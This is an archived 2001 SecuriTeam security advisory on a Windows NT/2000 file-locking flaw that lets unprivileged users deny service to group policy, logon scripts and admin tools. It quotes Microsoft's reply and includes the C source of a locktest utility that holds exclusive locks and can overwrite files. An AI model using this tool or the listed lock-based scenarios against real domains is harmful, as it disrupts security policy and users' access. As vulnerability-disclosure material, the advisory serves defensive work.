

# [NT] File Locking and Security (Group Policy DoS on Windows 2000 Domains)

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2001-12/0064.html>

---

*From:* [support@securiteam.com](mailto:support@securiteam.com)

*Date:* 12/17/01

From: [support@securiteam.com](mailto:support@securiteam.com)

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: Mon, 17 Dec 2001 02:38:34 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> – Know that you're safe.

-----

File Locking and Security (Group Policy DoS on Windows 2000 Domains)

---

## SUMMARY

Applications can lock the file after file descriptor is open by application (or in the open() call itself). Usually there are two modes for locking – SHARED and EXCLUSIVE. A single application can put the EXCLUSIVE lock on a file. If file is locked exclusively, no further locks can be put on the file by any another process. The main problem of the file locking mechanism is that it does not check for any file permissions or the mode the file is opened with before locking is done. This makes it possible for an application with read-only (Under privileged) access to a file to lock it exclusively.

The way file locks interfere with file access depends on the particular OS. There are two possible situations: moderate and non-moderate file locks. \*BSD and Linux use non-moderate locking, while Windows NT locking is moderate. What does it mean? Under UNIX, file locking is only checked when another application tries to lock the file. If the application does not use file locking, it will not be affected by file locking. Under Windows, things are different. If one application exclusively locks the file, another application cannot access this file even if it does not try to lock the file. This should be treated as a design flaw, because the mechanism for file locking needs to interact security mechanism and verify

## Securiteam: [NT] File Locking and Security (Group Policy DoS on Windows 2000 Domains)

the application's files permissions.

This means that many security critical mechanisms under Windows can be DoS'ed by file locking.

### DETAILS

Vulnerable systems:

Windows NT 4.0

Windows 2000

Recreation:

An unprivileged user can:

1. Stop security policies and logon scripts by locking policy files on domain controllers
2. Lock the screensaver file to prevent workstation from being locked by another user
3. Deny access to administrative utilities and/or stop batch jobs from running by administrator or system
4. Deny another user's logon in many ways
5. Deny access to shared programs, documents, etc.

Vendor:

Microsoft was contacted on September 7 2001. Last reply on this issue was on October 13.

--==-- "Microsoft Security Response Center" <[secure@microsoft.com](mailto:secure@microsoft.com)> ==--  
Wanted to get together and let you know what we've found out and the plan moving forward. You're right that it's possible for someone to block group policy by locking a file. We've considered quite a few different options for preventing someone from putting a lock on the file, but so far all of them would require fairly massive changes to the system architecture, and we're very leery of making such drastic changes via a patch.

I'd like to propose a different solution, and see what your reaction would be. We currently have an auditing event that occurs when group policy fails to be applied for any reason. The description of the error isn't as clear as it could be, and we'd propose making the error message much more descriptive and useful to the administrator. Also, we'd propose that anytime group policy can't be applied, a pop-up would appear on the client machine, describing the problem and instructing the user to contact the system administrator. Clearly, if an attacker saw the error message, he wouldn't call the administrator -- but one of the other users on the system would. The administrator could then check the error log, find out who had locked the file, and take appropriate action against them.

Testing:

You can use attached locktest.c (for compiled version see <<http://www.security.nnov.ru/files/locktest.exe>> <http://www.security.nnov.ru/files/locktest.exe>) to test file locking issues under Windows.

Try

locktest.exe READ NONE <filename>

(be careful – during WRITE test locktest damages the file, test it only on specially created files)

Source code:

```
/*
locktest.c – file locking test utility for Windows
(c) 3APA3A <3APA3A@security.nnov.ru>
*/

#include <conio.h>
#include <stdio.h>
#include <windows.h>
#include <string.h>
#include <process.h>
char* progname;
void usage(void){
    printf("Usage:\n %s accessmode sharemode filename\n Where accessmode is
one of READ, WRITE, READWRITE, NONE\n sharemode is one of READ, WRITE,
READWRITE and NONE\n", progname);
    exit(-1);
}
void showresult(void){
    char buffer[256];
    DWORD n=GetLastError();
    if(!n)printf("PASSED\n");
    else {
        printf("FAILED:%d\n",n);
        FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM, 0, n, 0, buffer, 256, 0);
        CharToOem(buffer,buffer);
        printf("System error text: %s\n", buffer);
    }
    SetLastError(0);
}

int main (int argc, char * argv[]){
    DWORD accessmode, sharemode;
    HANDLE file;
    char buffer[64];
    DWORD nbytes;
    progname=argv[0];
    if(argc!=4)usage();
    if(!strcmp(argv[1], "READ"))accessmode=GENERIC_READ;
    else if(!strcmp(argv[1], "WRITE"))accessmode=GENERIC_WRITE;
    else if(!strcmp(argv[1],
"READWRITE"))accessmode=GENERIC_WRITE|GENERIC_READ;
    else if(!strcmp(argv[1], "NONE"))accessmode=0;
```

## Securiteam: [NT] File Locking and Security (Group Policy DoS on Windows 2000 Domains)

```
else {printf("!accessmode\n");usage();}
if(!strcmp(argv[2], "READ"))sharemode=FILE_SHARE_READ;
else if(!strcmp(argv[2], "WRITE"))sharemode=FILE_SHARE_WRITE;
else if(!strcmp(argv[2], "NONE"))sharemode=0;
else if(!strcmp(argv[2],
"READWRITE"))sharemode=GENERIC_WRITE|GENERIC_READ;
else usage();
printf("Opening %s for %s with %s share...", argv[3], argv[1],
argv[2]);
file=CreateFile(argv[3], accessmode, sharemode, 0, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, 0);
showresult();
if(file!=INVALID_HANDLE_VALUE){
if(accessmode&GENERIC_READ){
printf("Testing for reading...");
ReadFile(file, buffer, 16, &nbytes, 0);
buffer[nbytes]=0;
showresult();
printf("Read %d of max 16 bytes:%s\n", (int)nbytes, buffer);
}
if(accessmode&GENERIC_WRITE){
printf("Testing for writing...");
WriteFile(file, "0123456789abcdef", 16, &nbytes, 0);
buffer[nbytes]=0;
showresult();
printf("Written %d of 16 bytes\n", (int)nbytes);
}
printf("Press any key...\n");
getch();
printf("Closing file...");
CloseHandle(file);
showresult();
}
else printf("Invalid file handle");
return 0;
}
```

### ADDITIONAL INFORMATION

The information has been provided by <mailto:[3APA3A@SECURITY.NNOV.RU](mailto:3APA3A@SECURITY.NNOV.RU)>  
3APA3A.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====

=====

Securiteam: [NT] File Locking and Security (Group Policy DoS on Windows 2000 Domains)

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

---

- **Previous message:** [support@securiteam.com](mailto:support@securiteam.com): "[NEWS] Red Faction Server/Client DoS (UDP 7755)"
- **Messages sorted by:** [\[ date \]](#) [\[ thread \]](#) [\[ subject \]](#) [\[ author \]](#) [\[ attachment \]](#)